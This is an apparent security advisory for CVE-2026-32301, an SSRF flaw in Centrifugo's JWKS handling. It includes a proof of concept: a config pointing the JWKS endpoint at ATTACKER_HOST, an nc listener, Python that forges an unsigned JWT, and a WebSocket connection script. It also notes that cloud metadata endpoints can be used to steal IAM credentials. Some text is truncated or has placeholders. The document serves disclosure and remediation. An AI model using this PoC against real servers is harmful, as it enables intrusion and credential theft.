github.com/centrifugal/centrifugo/v6
Affected
- introduced
0, fixed6.7.0(semver)
Fixed versions
6.7.0
Fix
- Fixed version
6.7.0go get github.com/centrifugal/centrifugo/[email protected]
Advisory
Also known as: CVE-2026-32301, GO-2026-4702
Centrifugo: SSRF via unverified JWT claims interpolated into dynamic JWKS endpoint URL
Summary
Centrifugo is vulnerable to Server-Side Request Forgery (SSRF) when configured with a dynamic JWKS endpoint URL using template variables (e.g. {{tenant}}). An unauthenticated attacker can craft a JWT with a malicious iss or aud claim value that gets interpolated into the JWKS fetch URL before the token signature is verified, causing Centrifugo to make an outbound HTTP request to an attacker-controlled destination.
Details
In internal/jwtverify/token_verifier_jwt.go, the functions VerifyConnectToken and VerifySubscribeToken follow this flawed order of operations:
jwt.ParseNoVerify([]byte(t))validateClaims() runs — extracting named regex capture groups from issuer_regex/audience_regex into tokenVars map using attacker-controlled iss/aud claim valuesverifySignatureByJWK(token, tokenVars) is called — passing attacker-controlled tokenVars to the JWKS managerinternal/jwks/manager.go, fetchKey() interpolates tokenVars directly into the JWKS URL: jwkURL := m.url.ExecuteString(tokenVars)Suppressed the security linter on this line with an incorrect comment://nolint:gosec // URL is from server configuration, not user input.
The URL is NOT purely from server configuration — it is partially constructed from unverified user-supplied JWT claims.
Signature verification happens too late — after the SSRF has already fired.
PoC
Required config (config.json):
{
"client": {
"token": {
"jwks_public_endpoint": "http://ATTACKER_HOST:8888/{{tenant}}/.well-known/jwks.json",
"issuer_regex": "^(?P[a-zA-Z0-9_-]+)\\.auth\\.example\\.com$"
}
},
"http_api": { "key": "test-api-key" }
}
Step 1 — Start listener on attacker machine:
nc -lvnp 8888
Step 2 — Generate malicious unsigned JWT:
import base64, json
def b64url(data):
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
header = b'{"alg":"RS256","kid":"test-kid","typ":"JWT"}'
payload = b'{"sub":"attacker","iss":"evil-tenant.auth.example.com","exp":9999999999}'
token = f"{b64url(header)}.{b64url(payload)}.fakesig"
print(token)
Step 3 — Connect to Centrifugo WebSocket with the malicious token:
import websocket, json
ws = websocket.create_connection("ws://TARGET:8000/connection/websocket")
ws.send(json.dumps({"id": 1, "connect": {"token": ""}}))
print(ws.recv())
Step 4 — Observe incoming HTTP request on attacker listener:
GET /evil-tenant/.well-known/jwks.json HTTP/1.1
Host: ATTACKER_HOST:8888
User-Agent: Go-http-client/1.1
Malicious token being crafted with suppress_origin=True bypassing the 403, and the token sent to Centrifugo:
1
Centrifugo Server Log:
2
netcat terminal:
3
Impact
169.254.169.254, GCP: metadata.google.internal) to steal IAM credentialsjwks_public_endpoint to contain {{...}} template variables combined with issuer_regex or audience_regex — a configuration pattern explicitly documented and promoted by CentrifugoSuggested Fix
1. Verify signature BEFORE extracting tokenVars (critical fix):
In token_verifier_jwt.go, swap the order of operations:
// CURRENT (vulnerable) order:
// 1. ParseNoVerify
// 2. validateClaims() → populates tokenVars from unverified claims
// 3. verifySignature(token, tokenVars) ← too late
// FIXED order:
// 1. ParseNoVerify
// 2. verifySignature(token) ← verify first with empty/nil tokenVars
// 3. validateClaims() → only now extract tokenVars from verified claims
// 4. If JWKS needed, re-verify with tokenVars using verified kid only
2. Fix the incorrect nolint comment in `manager.go`:
Remove //nolint:gosec // URL is from server configuration, not user input The URL IS partially constructed from user input via JWT claims.
3. Alternative mitigation:
Restrict template variables to only the kid header field (which is not claim data) rather than allowing arbitrary claim values to influence the JWKS URL.
Critical Basis: The source's own band: CRITICAL
0, fixed 6.7.0 (semver)6.7.0
6.7.0go get github.com/centrifugal/centrifugo/[email protected]0, last affected 2.4.0 (semver)None listed
No fixed version is listed.
0, last affected 3.2.3 (semver)None listed
No fixed version is listed.
0, last affected 4.1.5 (semver)None listed
No fixed version is listed.
0, last affected 5.4.9 (semver)None listed
No fixed version is listed.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0